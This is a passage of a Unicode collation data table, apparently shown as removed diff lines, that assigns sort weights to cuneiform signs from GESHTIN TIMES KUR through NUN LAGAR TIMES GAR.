-120FF ; [.491D.0020.0002] # CUNEIFORM SIGN GESHTIN TIMES KUR
-12100 ; [.491E.0020.0002] # CUNEIFORM SIGN GI
-12101 ; [.491F.0020.0002] # CUNEIFORM SIGN GI TIMES E
-12102 ; [.4920.0020.0002] # CUNEIFORM SIGN GI TIMES U
-12103 ; [.4921.0020.0002] # CUNEIFORM SIGN GI CROSSING GI
-12104 ; [.4922.0020.0002] # CUNEIFORM SIGN GI4
-12105 ; [.4923.0020.0002] # CUNEIFORM SIGN GI4 OVER GI4
-12106 ; [.4924.0020.0002] # CUNEIFORM SIGN GI4 CROSSING GI4
-12107 ; [.4925.0020.0002] # CUNEIFORM SIGN GIDIM
-12108 ; [.4926.0020.0002] # CUNEIFORM SIGN GIR2
-12109 ; [.4927.0020.0002] # CUNEIFORM SIGN GIR2 GUNU
-1210A ; [.4928.0020.0002] # CUNEIFORM SIGN GIR3
-1210B ; [.4929.0020.0002] # CUNEIFORM SIGN GIR3 TIMES A PLUS IGI
-1210C ; [.492A.0020.0002] # CUNEIFORM SIGN GIR3 TIMES GAN2 TENU
-1210D ; [.492B.0020.0002] # CUNEIFORM SIGN GIR3 TIMES IGI
-1210E ; [.492C.0020.0002] # CUNEIFORM SIGN GIR3 TIMES LU PLUS IGI
-1210F ; [.492D.0020.0002] # CUNEIFORM SIGN GIR3 TIMES PA
-12110 ; [.492E.0020.0002] # CUNEIFORM SIGN GISAL
-12111 ; [.492F.0020.0002] # CUNEIFORM SIGN GISH
-12112 ; [.4930.0020.0002] # CUNEIFORM SIGN GISH CROSSING GISH
-12113 ; [.4931.0020.0002] # CUNEIFORM SIGN GISH TIMES BAD
-12114 ; [.4932.0020.0002] # CUNEIFORM SIGN GISH TIMES TAK4
-12115 ; [.4933.0020.0002] # CUNEIFORM SIGN GISH TENU
-12116 ; [.4934.0020.0002] # CUNEIFORM SIGN GU
-12117 ; [.4935.0020.0002] # CUNEIFORM SIGN GU CROSSING GU
-12118 ; [.4936.0020.0002] # CUNEIFORM SIGN GU2
-12119 ; [.4937.0020.0002] # CUNEIFORM SIGN GU2 TIMES KAK
-1211A ; [.4938.0020.0002] # CUNEIFORM SIGN GU2 TIMES KAK TIMES IGI GUNU
-1211B ; [.4939.0020.0002] # CUNEIFORM SIGN GU2 TIMES NUN
-1211C ; [.493A.0020.0002] # CUNEIFORM SIGN GU2 TIMES SAL PLUS TUG2
-1211D ; [.493B.0020.0002] # CUNEIFORM SIGN GU2 GUNU
-1211E ; [.493C.0020.0002] # CUNEIFORM SIGN GUD
-1211F ; [.493D.0020.0002] # CUNEIFORM SIGN GUD TIMES A PLUS KUR
-12120 ; [.493E.0020.0002] # CUNEIFORM SIGN GUD TIMES KUR
-12121 ; [.493F.0020.0002] # CUNEIFORM SIGN GUD OVER GUD LUGAL
-12122 ; [.4940.0020.0002] # CUNEIFORM SIGN GUL
-12123 ; [.4941.0020.0002] # CUNEIFORM SIGN GUM
-12124 ; [.4942.0020.0002] # CUNEIFORM SIGN GUM TIMES SHE
-12125 ; [.4943.0020.0002] # CUNEIFORM SIGN GUR
-12126 ; [.4944.0020.0002] # CUNEIFORM SIGN GUR7
-12127 ; [.4945.0020.0002] # CUNEIFORM SIGN GURUN
-12128 ; [.4946.0020.0002] # CUNEIFORM SIGN GURUSH
-12129 ; [.4947.0020.0002] # CUNEIFORM SIGN HA
-1212A ; [.4948.0020.0002] # CUNEIFORM SIGN HA TENU
-1212B ; [.4949.0020.0002] # CUNEIFORM SIGN HA GUNU
-1212C ; [.494A.0020.0002] # CUNEIFORM SIGN HAL
-1212D ; [.494B.0020.0002] # CUNEIFORM SIGN HI
-1212E ; [.494C.0020.0002] # CUNEIFORM SIGN HI TIMES ASH
-1212F ; [.494D.0020.0002] # CUNEIFORM SIGN HI TIMES ASH2
-12130 ; [.494E.0020.0002] # CUNEIFORM SIGN HI TIMES BAD
-12131 ; [.494F.0020.0002] # CUNEIFORM SIGN HI TIMES DISH
-12132 ; [.4950.0020.0002] # CUNEIFORM SIGN HI TIMES GAD
-12133 ; [.4951.0020.0002] # CUNEIFORM SIGN HI TIMES KIN
-12134 ; [.4952.0020.0002] # CUNEIFORM SIGN HI TIMES NUN
-12135 ; [.4953.0020.0002] # CUNEIFORM SIGN HI TIMES SHE
-12136 ; [.4954.0020.0002] # CUNEIFORM SIGN HI TIMES U
-12137 ; [.4955.0020.0002] # CUNEIFORM SIGN HU
-12138 ; [.4956.0020.0002] # CUNEIFORM SIGN HUB2
-12139 ; [.4957.0020.0002] # CUNEIFORM SIGN HUB2 TIMES AN
-1213A ; [.4958.0020.0002] # CUNEIFORM SIGN HUB2 TIMES HAL
-1213B ; [.4959.0020.0002] # CUNEIFORM SIGN HUB2 TIMES KASKAL
-1213C ; [.495A.0020.0002] # CUNEIFORM SIGN HUB2 TIMES LISH
-1213D ; [.495B.0020.0002] # CUNEIFORM SIGN HUB2 TIMES UD
-1213E ; [.495C.0020.0002] # CUNEIFORM SIGN HUL2
-1213F ; [.495D.0020.0002] # CUNEIFORM SIGN I
-12140 ; [.495E.0020.0002] # CUNEIFORM SIGN I A
-12141 ; [.495F.0020.0002] # CUNEIFORM SIGN IB
-12142 ; [.4960.0020.0002] # CUNEIFORM SIGN IDIM
-12143 ; [.4961.0020.0002] # CUNEIFORM SIGN IDIM OVER IDIM BUR
-12144 ; [.4962.0020.0002] # CUNEIFORM SIGN IDIM OVER IDIM SQUARED
-12145 ; [.4963.0020.0002] # CUNEIFORM SIGN IG
-12146 ; [.4964.0020.0002] # CUNEIFORM SIGN IGI
-12147 ; [.4965.0020.0002] # CUNEIFORM SIGN IGI DIB
-12148 ; [.4966.0020.0002] # CUNEIFORM SIGN IGI RI
-12149 ; [.4967.0020.0002] # CUNEIFORM SIGN IGI OVER IGI SHIR OVER SHIR UD OVER UD
-1214A ; [.4968.0020.0002] # CUNEIFORM SIGN IGI GUNU
-1214B ; [.4969.0020.0002] # CUNEIFORM SIGN IL
-1214C ; [.496A.0020.0002] # CUNEIFORM SIGN IL TIMES GAN2 TENU
-1214D ; [.496B.0020.0002] # CUNEIFORM SIGN IL2
-1214E ; [.496C.0020.0002] # CUNEIFORM SIGN IM
-1214F ; [.496D.0020.0002] # CUNEIFORM SIGN IM TIMES TAK4
-12150 ; [.496E.0020.0002] # CUNEIFORM SIGN IM CROSSING IM
-12151 ; [.496F.0020.0002] # CUNEIFORM SIGN IM OPPOSING IM
-12152 ; [.4970.0020.0002] # CUNEIFORM SIGN IM SQUARED
-12153 ; [.4971.0020.0002] # CUNEIFORM SIGN IMIN
-12154 ; [.4972.0020.0002] # CUNEIFORM SIGN IN
-12155 ; [.4973.0020.0002] # CUNEIFORM SIGN IR
-12156 ; [.4974.0020.0002] # CUNEIFORM SIGN ISH
-12157 ; [.4975.0020.0002] # CUNEIFORM SIGN KA
-12158 ; [.4976.0020.0002] # CUNEIFORM SIGN KA TIMES A
-12159 ; [.4977.0020.0002] # CUNEIFORM SIGN KA TIMES AD
-1215A ; [.4978.0020.0002] # CUNEIFORM SIGN KA TIMES AD PLUS KU3
-1215B ; [.4979.0020.0002] # CUNEIFORM SIGN KA TIMES ASH2
-1215C ; [.497A.0020.0002] # CUNEIFORM SIGN KA TIMES BAD
-1215D ; [.497B.0020.0002] # CUNEIFORM SIGN KA TIMES BALAG
-1215E ; [.497C.0020.0002] # CUNEIFORM SIGN KA TIMES BAR
-1215F ; [.497D.0020.0002] # CUNEIFORM SIGN KA TIMES BI
-12160 ; [.497E.0020.0002] # CUNEIFORM SIGN KA TIMES ERIN2
-12161 ; [.497F.0020.0002] # CUNEIFORM SIGN KA TIMES ESH2
-12162 ; [.4980.0020.0002] # CUNEIFORM SIGN KA TIMES GA
-12163 ; [.4981.0020.0002] # CUNEIFORM SIGN KA TIMES GAL
-12164 ; [.4982.0020.0002] # CUNEIFORM SIGN KA TIMES GAN2 TENU
-12165 ; [.4983.0020.0002] # CUNEIFORM SIGN KA TIMES GAR
-12166 ; [.4984.0020.0002] # CUNEIFORM SIGN KA TIMES GAR PLUS SHA3 PLUS A
-12167 ; [.4985.0020.0002] # CUNEIFORM SIGN KA TIMES GI
-12168 ; [.4986.0020.0002] # CUNEIFORM SIGN KA TIMES GIR2
-12169 ; [.4987.0020.0002] # CUNEIFORM SIGN KA TIMES GISH PLUS SAR
-1216A ; [.4988.0020.0002] # CUNEIFORM SIGN KA TIMES GISH CROSSING GISH
-1216B ; [.4989.0020.0002] # CUNEIFORM SIGN KA TIMES GU
-1216C ; [.498A.0020.0002] # CUNEIFORM SIGN KA TIMES GUR7
-1216D ; [.498B.0020.0002] # CUNEIFORM SIGN KA TIMES IGI
-1216E ; [.498C.0020.0002] # CUNEIFORM SIGN KA TIMES IM
-1216F ; [.498D.0020.0002] # CUNEIFORM SIGN KA TIMES KAK
-12170 ; [.498E.0020.0002] # CUNEIFORM SIGN KA TIMES KI
-12171 ; [.498F.0020.0002] # CUNEIFORM SIGN KA TIMES KID
-12172 ; [.4990.0020.0002] # CUNEIFORM SIGN KA TIMES LI
-12173 ; [.4991.0020.0002] # CUNEIFORM SIGN KA TIMES LU
-12174 ; [.4992.0020.0002] # CUNEIFORM SIGN KA TIMES ME
-12175 ; [.4993.0020.0002] # CUNEIFORM SIGN KA TIMES ME PLUS DU
-12176 ; [.4994.0020.0002] # CUNEIFORM SIGN KA TIMES ME PLUS GI
-12177 ; [.4995.0020.0002] # CUNEIFORM SIGN KA TIMES ME PLUS TE
-12178 ; [.4996.0020.0002] # CUNEIFORM SIGN KA TIMES MI
-12179 ; [.4997.0020.0002] # CUNEIFORM SIGN KA TIMES MI PLUS NUNUZ
-1217A ; [.4998.0020.0002] # CUNEIFORM SIGN KA TIMES NE
-1217B ; [.4999.0020.0002] # CUNEIFORM SIGN KA TIMES NUN
-1217C ; [.499A.0020.0002] # CUNEIFORM SIGN KA TIMES PI
-1217D ; [.499B.0020.0002] # CUNEIFORM SIGN KA TIMES RU
-1217E ; [.499C.0020.0002] # CUNEIFORM SIGN KA TIMES SA
-1217F ; [.499D.0020.0002] # CUNEIFORM SIGN KA TIMES SAR
-12180 ; [.499E.0020.0002] # CUNEIFORM SIGN KA TIMES SHA
-12181 ; [.499F.0020.0002] # CUNEIFORM SIGN KA TIMES SHE
-12182 ; [.49A0.0020.0002] # CUNEIFORM SIGN KA TIMES SHID
-12183 ; [.49A1.0020.0002] # CUNEIFORM SIGN KA TIMES SHU
-12184 ; [.49A2.0020.0002] # CUNEIFORM SIGN KA TIMES SIG
-12185 ; [.49A3.0020.0002] # CUNEIFORM SIGN KA TIMES SUHUR
-12186 ; [.49A4.0020.0002] # CUNEIFORM SIGN KA TIMES TAR
-12187 ; [.49A5.0020.0002] # CUNEIFORM SIGN KA TIMES U
-12188 ; [.49A6.0020.0002] # CUNEIFORM SIGN KA TIMES U2
-12189 ; [.49A7.0020.0002] # CUNEIFORM SIGN KA TIMES UD
-1218A ; [.49A8.0020.0002] # CUNEIFORM SIGN KA TIMES UMUM TIMES PA
-1218B ; [.49A9.0020.0002] # CUNEIFORM SIGN KA TIMES USH
-1218C ; [.49AA.0020.0002] # CUNEIFORM SIGN KA TIMES ZI
-1218D ; [.49AB.0020.0002] # CUNEIFORM SIGN KA2
-1218E ; [.49AC.0020.0002] # CUNEIFORM SIGN KA2 CROSSING KA2
-1218F ; [.49AD.0020.0002] # CUNEIFORM SIGN KAB
-12190 ; [.49AE.0020.0002] # CUNEIFORM SIGN KAD2
-12191 ; [.49AF.0020.0002] # CUNEIFORM SIGN KAD3
-12192 ; [.49B0.0020.0002] # CUNEIFORM SIGN KAD4
-12193 ; [.49B1.0020.0002] # CUNEIFORM SIGN KAD5
-12194 ; [.49B2.0020.0002] # CUNEIFORM SIGN KAD5 OVER KAD5
-12195 ; [.49B3.0020.0002] # CUNEIFORM SIGN KAK
-12196 ; [.49B4.0020.0002] # CUNEIFORM SIGN KAK TIMES IGI GUNU
-12197 ; [.49B5.0020.0002] # CUNEIFORM SIGN KAL
-12198 ; [.49B6.0020.0002] # CUNEIFORM SIGN KAL TIMES BAD
-12199 ; [.49B7.0020.0002] # CUNEIFORM SIGN KAL CROSSING KAL
-1219A ; [.49B8.0020.0002] # CUNEIFORM SIGN KAM2
-1219B ; [.49B9.0020.0002] # CUNEIFORM SIGN KAM4
-1219C ; [.49BA.0020.0002] # CUNEIFORM SIGN KASKAL
-1219D ; [.49BB.0020.0002] # CUNEIFORM SIGN KASKAL LAGAB TIMES U OVER LAGAB TIMES U
-1219E ; [.49BC.0020.0002] # CUNEIFORM SIGN KASKAL OVER KASKAL LAGAB TIMES U OVER LAGAB TIMES U
-1219F ; [.49BD.0020.0002] # CUNEIFORM SIGN KESH2
-121A0 ; [.49BE.0020.0002] # CUNEIFORM SIGN KI
-121A1 ; [.49BF.0020.0002] # CUNEIFORM SIGN KI TIMES BAD
-121A2 ; [.49C0.0020.0002] # CUNEIFORM SIGN KI TIMES U
-121A3 ; [.49C1.0020.0002] # CUNEIFORM SIGN KI TIMES UD
-121A4 ; [.49C2.0020.0002] # CUNEIFORM SIGN KID
-121A5 ; [.49C3.0020.0002] # CUNEIFORM SIGN KIN
-121A6 ; [.49C4.0020.0002] # CUNEIFORM SIGN KISAL
-121A7 ; [.49C5.0020.0002] # CUNEIFORM SIGN KISH
-121A8 ; [.49C6.0020.0002] # CUNEIFORM SIGN KISIM5
-121A9 ; [.49C7.0020.0002] # CUNEIFORM SIGN KISIM5 OVER KISIM5
-121AA ; [.49C8.0020.0002] # CUNEIFORM SIGN KU
-121AB ; [.49C9.0020.0002] # CUNEIFORM SIGN KU OVER HI TIMES ASH2 KU OVER HI TIMES ASH2
-121AC ; [.49CA.0020.0002] # CUNEIFORM SIGN KU3
-121AD ; [.49CB.0020.0002] # CUNEIFORM SIGN KU4
-121AE ; [.49CC.0020.0002] # CUNEIFORM SIGN KU4 VARIANT FORM
-121AF ; [.49CD.0020.0002] # CUNEIFORM SIGN KU7
-121B0 ; [.49CE.0020.0002] # CUNEIFORM SIGN KUL
-121B1 ; [.49CF.0020.0002] # CUNEIFORM SIGN KUL GUNU
-121B2 ; [.49D0.0020.0002] # CUNEIFORM SIGN KUN
-121B3 ; [.49D1.0020.0002] # CUNEIFORM SIGN KUR
-121B4 ; [.49D2.0020.0002] # CUNEIFORM SIGN KUR OPPOSING KUR
-121B5 ; [.49D3.0020.0002] # CUNEIFORM SIGN KUSHU2
-121B6 ; [.49D4.0020.0002] # CUNEIFORM SIGN KWU318
-121B7 ; [.49D5.0020.0002] # CUNEIFORM SIGN LA
-121B8 ; [.49D6.0020.0002] # CUNEIFORM SIGN LAGAB
-121B9 ; [.49D7.0020.0002] # CUNEIFORM SIGN LAGAB TIMES A
-121BA ; [.49D8.0020.0002] # CUNEIFORM SIGN LAGAB TIMES A PLUS DA PLUS HA
-121BB ; [.49D9.0020.0002] # CUNEIFORM SIGN LAGAB TIMES A PLUS GAR
-121BC ; [.49DA.0020.0002] # CUNEIFORM SIGN LAGAB TIMES A PLUS LAL
-121BD ; [.49DB.0020.0002] # CUNEIFORM SIGN LAGAB TIMES AL
-121BE ; [.49DC.0020.0002] # CUNEIFORM SIGN LAGAB TIMES AN
-121BF ; [.49DD.0020.0002] # CUNEIFORM SIGN LAGAB TIMES ASH ZIDA TENU
-121C0 ; [.49DE.0020.0002] # CUNEIFORM SIGN LAGAB TIMES BAD
-121C1 ; [.49DF.0020.0002] # CUNEIFORM SIGN LAGAB TIMES BI
-121C2 ; [.49E0.0020.0002] # CUNEIFORM SIGN LAGAB TIMES DAR
-121C3 ; [.49E1.0020.0002] # CUNEIFORM SIGN LAGAB TIMES EN
-121C4 ; [.49E2.0020.0002] # CUNEIFORM SIGN LAGAB TIMES GA
-121C5 ; [.49E3.0020.0002] # CUNEIFORM SIGN LAGAB TIMES GAR
-121C6 ; [.49E4.0020.0002] # CUNEIFORM SIGN LAGAB TIMES GUD
-121C7 ; [.49E5.0020.0002] # CUNEIFORM SIGN LAGAB TIMES GUD PLUS GUD
-121C8 ; [.49E6.0020.0002] # CUNEIFORM SIGN LAGAB TIMES HA
-121C9 ; [.49E7.0020.0002] # CUNEIFORM SIGN LAGAB TIMES HAL
-121CA ; [.49E8.0020.0002] # CUNEIFORM SIGN LAGAB TIMES HI TIMES NUN
-121CB ; [.49E9.0020.0002] # CUNEIFORM SIGN LAGAB TIMES IGI GUNU
-121CC ; [.49EA.0020.0002] # CUNEIFORM SIGN LAGAB TIMES IM
-121CD ; [.49EB.0020.0002] # CUNEIFORM SIGN LAGAB TIMES IM PLUS HA
-121CE ; [.49EC.0020.0002] # CUNEIFORM SIGN LAGAB TIMES IM PLUS LU
-121CF ; [.49ED.0020.0002] # CUNEIFORM SIGN LAGAB TIMES KI
-121D0 ; [.49EE.0020.0002] # CUNEIFORM SIGN LAGAB TIMES KIN
-121D1 ; [.49EF.0020.0002] # CUNEIFORM SIGN LAGAB TIMES KU3
-121D2 ; [.49F0.0020.0002] # CUNEIFORM SIGN LAGAB TIMES KUL
-121D3 ; [.49F1.0020.0002] # CUNEIFORM SIGN LAGAB TIMES KUL PLUS HI PLUS A
-121D4 ; [.49F2.0020.0002] # CUNEIFORM SIGN LAGAB TIMES LAGAB
-121D5 ; [.49F3.0020.0002] # CUNEIFORM SIGN LAGAB TIMES LISH
-121D6 ; [.49F4.0020.0002] # CUNEIFORM SIGN LAGAB TIMES LU
-121D7 ; [.49F5.0020.0002] # CUNEIFORM SIGN LAGAB TIMES LUL
-121D8 ; [.49F6.0020.0002] # CUNEIFORM SIGN LAGAB TIMES ME
-121D9 ; [.49F7.0020.0002] # CUNEIFORM SIGN LAGAB TIMES ME PLUS EN
-121DA ; [.49F8.0020.0002] # CUNEIFORM SIGN LAGAB TIMES MUSH
-121DB ; [.49F9.0020.0002] # CUNEIFORM SIGN LAGAB TIMES NE
-121DC ; [.49FA.0020.0002] # CUNEIFORM SIGN LAGAB TIMES SHE PLUS SUM
-121DD ; [.49FB.0020.0002] # CUNEIFORM SIGN LAGAB TIMES SHITA PLUS GISH PLUS ERIN2
-121DE ; [.49FC.0020.0002] # CUNEIFORM SIGN LAGAB TIMES SHITA PLUS GISH TENU
-121DF ; [.49FD.0020.0002] # CUNEIFORM SIGN LAGAB TIMES SHU2
-121E0 ; [.49FE.0020.0002] # CUNEIFORM SIGN LAGAB TIMES SHU2 PLUS SHU2
-121E1 ; [.49FF.0020.0002] # CUNEIFORM SIGN LAGAB TIMES SUM
-121E2 ; [.4A00.0020.0002] # CUNEIFORM SIGN LAGAB TIMES TAG
-121E3 ; [.4A01.0020.0002] # CUNEIFORM SIGN LAGAB TIMES TAK4
-121E4 ; [.4A02.0020.0002] # CUNEIFORM SIGN LAGAB TIMES TE PLUS A PLUS SU PLUS NA
-121E5 ; [.4A03.0020.0002] # CUNEIFORM SIGN LAGAB TIMES U
-121E6 ; [.4A04.0020.0002] # CUNEIFORM SIGN LAGAB TIMES U PLUS A
-121E7 ; [.4A05.0020.0002] # CUNEIFORM SIGN LAGAB TIMES U PLUS U PLUS U
-121E8 ; [.4A06.0020.0002] # CUNEIFORM SIGN LAGAB TIMES U2 PLUS ASH
-121E9 ; [.4A07.0020.0002] # CUNEIFORM SIGN LAGAB TIMES UD
-121EA ; [.4A08.0020.0002] # CUNEIFORM SIGN LAGAB TIMES USH
-121EB ; [.4A09.0020.0002] # CUNEIFORM SIGN LAGAB SQUARED
-121EC ; [.4A0A.0020.0002] # CUNEIFORM SIGN LAGAR
-121ED ; [.4A0B.0020.0002] # CUNEIFORM SIGN LAGAR TIMES SHE
-121EE ; [.4A0C.0020.0002] # CUNEIFORM SIGN LAGAR TIMES SHE PLUS SUM
-121EF ; [.4A0D.0020.0002] # CUNEIFORM SIGN LAGAR GUNU
-121F0 ; [.4A0E.0020.0002] # CUNEIFORM SIGN LAGAR GUNU OVER LAGAR GUNU SHE
-121F1 ; [.4A0F.0020.0002] # CUNEIFORM SIGN LAHSHU
-121F2 ; [.4A10.0020.0002] # CUNEIFORM SIGN LAL
-121F3 ; [.4A11.0020.0002] # CUNEIFORM SIGN LAL TIMES LAL
-121F4 ; [.4A12.0020.0002] # CUNEIFORM SIGN LAM
-121F5 ; [.4A13.0020.0002] # CUNEIFORM SIGN LAM TIMES KUR
-121F6 ; [.4A14.0020.0002] # CUNEIFORM SIGN LAM TIMES KUR PLUS RU
-121F7 ; [.4A15.0020.0002] # CUNEIFORM SIGN LI
-121F8 ; [.4A16.0020.0002] # CUNEIFORM SIGN LIL
-121F9 ; [.4A17.0020.0002] # CUNEIFORM SIGN LIMMU2
-121FA ; [.4A18.0020.0002] # CUNEIFORM SIGN LISH
-121FB ; [.4A19.0020.0002] # CUNEIFORM SIGN LU
-121FC ; [.4A1A.0020.0002] # CUNEIFORM SIGN LU TIMES BAD
-121FD ; [.4A1B.0020.0002] # CUNEIFORM SIGN LU2
-121FE ; [.4A1C.0020.0002] # CUNEIFORM SIGN LU2 TIMES AL
-121FF ; [.4A1D.0020.0002] # CUNEIFORM SIGN LU2 TIMES BAD
-12200 ; [.4A1E.0020.0002] # CUNEIFORM SIGN LU2 TIMES ESH2
-12201 ; [.4A1F.0020.0002] # CUNEIFORM SIGN LU2 TIMES ESH2 TENU
-12202 ; [.4A20.0020.0002] # CUNEIFORM SIGN LU2 TIMES GAN2 TENU
-12203 ; [.4A21.0020.0002] # CUNEIFORM SIGN LU2 TIMES HI TIMES BAD
-12204 ; [.4A22.0020.0002] # CUNEIFORM SIGN LU2 TIMES IM
-12205 ; [.4A23.0020.0002] # CUNEIFORM SIGN LU2 TIMES KAD2
-12206 ; [.4A24.0020.0002] # CUNEIFORM SIGN LU2 TIMES KAD3
-12207 ; [.4A25.0020.0002] # CUNEIFORM SIGN LU2 TIMES KAD3 PLUS ASH
-12208 ; [.4A26.0020.0002] # CUNEIFORM SIGN LU2 TIMES KI
-12209 ; [.4A27.0020.0002] # CUNEIFORM SIGN LU2 TIMES LA PLUS ASH
-1220A ; [.4A28.0020.0002] # CUNEIFORM SIGN LU2 TIMES LAGAB
-1220B ; [.4A29.0020.0002] # CUNEIFORM SIGN LU2 TIMES ME PLUS EN
-1220C ; [.4A2A.0020.0002] # CUNEIFORM SIGN LU2 TIMES NE
-1220D ; [.4A2B.0020.0002] # CUNEIFORM SIGN LU2 TIMES NU
-1220E ; [.4A2C.0020.0002] # CUNEIFORM SIGN LU2 TIMES SI PLUS ASH
-1220F ; [.4A2D.0020.0002] # CUNEIFORM SIGN LU2 TIMES SIK2 PLUS BU
-12210 ; [.4A2E.0020.0002] # CUNEIFORM SIGN LU2 TIMES TUG2
-12211 ; [.4A2F.0020.0002] # CUNEIFORM SIGN LU2 TENU
-12212 ; [.4A30.0020.0002] # CUNEIFORM SIGN LU2 CROSSING LU2
-12213 ; [.4A31.0020.0002] # CUNEIFORM SIGN LU2 OPPOSING LU2
-12214 ; [.4A32.0020.0002] # CUNEIFORM SIGN LU2 SQUARED
-12215 ; [.4A33.0020.0002] # CUNEIFORM SIGN LU2 SHESHIG
-12216 ; [.4A34.0020.0002] # CUNEIFORM SIGN LU3
-12217 ; [.4A35.0020.0002] # CUNEIFORM SIGN LUGAL
-12218 ; [.4A36.0020.0002] # CUNEIFORM SIGN LUGAL OVER LUGAL
-12219 ; [.4A37.0020.0002] # CUNEIFORM SIGN LUGAL OPPOSING LUGAL
-1221A ; [.4A38.0020.0002] # CUNEIFORM SIGN LUGAL SHESHIG
-1221B ; [.4A39.0020.0002] # CUNEIFORM SIGN LUH
-1221C ; [.4A3A.0020.0002] # CUNEIFORM SIGN LUL
-1221D ; [.4A3B.0020.0002] # CUNEIFORM SIGN LUM
-1221E ; [.4A3C.0020.0002] # CUNEIFORM SIGN LUM OVER LUM
-1221F ; [.4A3D.0020.0002] # CUNEIFORM SIGN LUM OVER LUM GAR OVER GAR
-12220 ; [.4A3E.0020.0002] # CUNEIFORM SIGN MA
-12221 ; [.4A3F.0020.0002] # CUNEIFORM SIGN MA TIMES TAK4
-12222 ; [.4A40.0020.0002] # CUNEIFORM SIGN MA GUNU
-12223 ; [.4A41.0020.0002] # CUNEIFORM SIGN MA2
-12224 ; [.4A42.0020.0002] # CUNEIFORM SIGN MAH
-12225 ; [.4A43.0020.0002] # CUNEIFORM SIGN MAR
-12226 ; [.4A44.0020.0002] # CUNEIFORM SIGN MASH
-12227 ; [.4A45.0020.0002] # CUNEIFORM SIGN MASH2
-12228 ; [.4A46.0020.0002] # CUNEIFORM SIGN ME
-12229 ; [.4A47.0020.0002] # CUNEIFORM SIGN MES
-1222A ; [.4A48.0020.0002] # CUNEIFORM SIGN MI
-1222B ; [.4A49.0020.0002] # CUNEIFORM SIGN MIN
-1222C ; [.4A4A.0020.0002] # CUNEIFORM SIGN MU
-1222D ; [.4A4B.0020.0002] # CUNEIFORM SIGN MU OVER MU
-1222E ; [.4A4C.0020.0002] # CUNEIFORM SIGN MUG
-1222F ; [.4A4D.0020.0002] # CUNEIFORM SIGN MUG GUNU
-12230 ; [.4A4E.0020.0002] # CUNEIFORM SIGN MUNSUB
-12231 ; [.4A4F.0020.0002] # CUNEIFORM SIGN MURGU2
-12232 ; [.4A50.0020.0002] # CUNEIFORM SIGN MUSH
-12233 ; [.4A51.0020.0002] # CUNEIFORM SIGN MUSH TIMES A
-12234 ; [.4A52.0020.0002] # CUNEIFORM SIGN MUSH TIMES KUR
-12235 ; [.4A53.0020.0002] # CUNEIFORM SIGN MUSH TIMES ZA
-12236 ; [.4A54.0020.0002] # CUNEIFORM SIGN MUSH OVER MUSH
-12237 ; [.4A55.0020.0002] # CUNEIFORM SIGN MUSH OVER MUSH TIMES A PLUS NA
-12238 ; [.4A56.0020.0002] # CUNEIFORM SIGN MUSH CROSSING MUSH
-12239 ; [.4A57.0020.0002] # CUNEIFORM SIGN MUSH3
-1223A ; [.4A58.0020.0002] # CUNEIFORM SIGN MUSH3 TIMES A
-1223B ; [.4A59.0020.0002] # CUNEIFORM SIGN MUSH3 TIMES A PLUS DI
-1223C ; [.4A5A.0020.0002] # CUNEIFORM SIGN MUSH3 TIMES DI
-1223D ; [.4A5B.0020.0002] # CUNEIFORM SIGN MUSH3 GUNU
-1223E ; [.4A5C.0020.0002] # CUNEIFORM SIGN NA
-1223F ; [.4A5D.0020.0002] # CUNEIFORM SIGN NA2
-12240 ; [.4A5E.0020.0002] # CUNEIFORM SIGN NAGA
-12241 ; [.4A5F.0020.0002] # CUNEIFORM SIGN NAGA INVERTED
-12242 ; [.4A60.0020.0002] # CUNEIFORM SIGN NAGA TIMES SHU TENU
-12243 ; [.4A61.0020.0002] # CUNEIFORM SIGN NAGA OPPOSING NAGA
-12244 ; [.4A62.0020.0002] # CUNEIFORM SIGN NAGAR
-12245 ; [.4A63.0020.0002] # CUNEIFORM SIGN NAM NUTILLU
-12246 ; [.4A64.0020.0002] # CUNEIFORM SIGN NAM
-12247 ; [.4A65.0020.0002] # CUNEIFORM SIGN NAM2
-12248 ; [.4A66.0020.0002] # CUNEIFORM SIGN NE
-12249 ; [.4A67.0020.0002] # CUNEIFORM SIGN NE TIMES A
-1224A ; [.4A68.0020.0002] # CUNEIFORM SIGN NE TIMES UD
-1224B ; [.4A69.0020.0002] # CUNEIFORM SIGN NE SHESHIG
-1224C ; [.4A6A.0020.0002] # CUNEIFORM SIGN NI
-1224D ; [.4A6B.0020.0002] # CUNEIFORM SIGN NI TIMES E
-1224E ; [.4A6C.0020.0002] # CUNEIFORM SIGN NI2
-1224F ; [.4A6D.0020.0002] # CUNEIFORM SIGN NIM
-12250 ; [.4A6E.0020.0002] # CUNEIFORM SIGN NIM TIMES GAN2 TENU
-12251 ; [.4A6F.0020.0002] # CUNEIFORM SIGN NIM TIMES GAR PLUS GAN2 TENU
-12252 ; [.4A70.0020.0002] # CUNEIFORM SIGN NINDA2
-12253 ; [.4A71.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES AN
-12254 ; [.4A72.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES ASH
-12255 ; [.4A73.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES ASH PLUS ASH
-12256 ; [.4A74.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES GUD
-12257 ; [.4A75.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES ME PLUS GAN2 TENU
-12258 ; [.4A76.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES NE
-12259 ; [.4A77.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES NUN
-1225A ; [.4A78.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES SHE
-1225B ; [.4A79.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES SHE PLUS A AN
-1225C ; [.4A7A.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES SHE PLUS ASH
-1225D ; [.4A7B.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES SHE PLUS ASH PLUS ASH
-1225E ; [.4A7C.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES U2 PLUS ASH
-1225F ; [.4A7D.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES USH
-12260 ; [.4A7E.0020.0002] # CUNEIFORM SIGN NISAG
-12261 ; [.4A7F.0020.0002] # CUNEIFORM SIGN NU
-12262 ; [.4A80.0020.0002] # CUNEIFORM SIGN NU11
-122D4 ; [.4A81.0020.0002] # CUNEIFORM SIGN SHIR TENU
-122D5 ; [.4A82.0020.0002] # CUNEIFORM SIGN SHIR OVER SHIR BUR OVER BUR
-12263 ; [.4A83.0020.0002] # CUNEIFORM SIGN NUN
-12264 ; [.4A84.0020.0002] # CUNEIFORM SIGN NUN LAGAR TIMES GAR
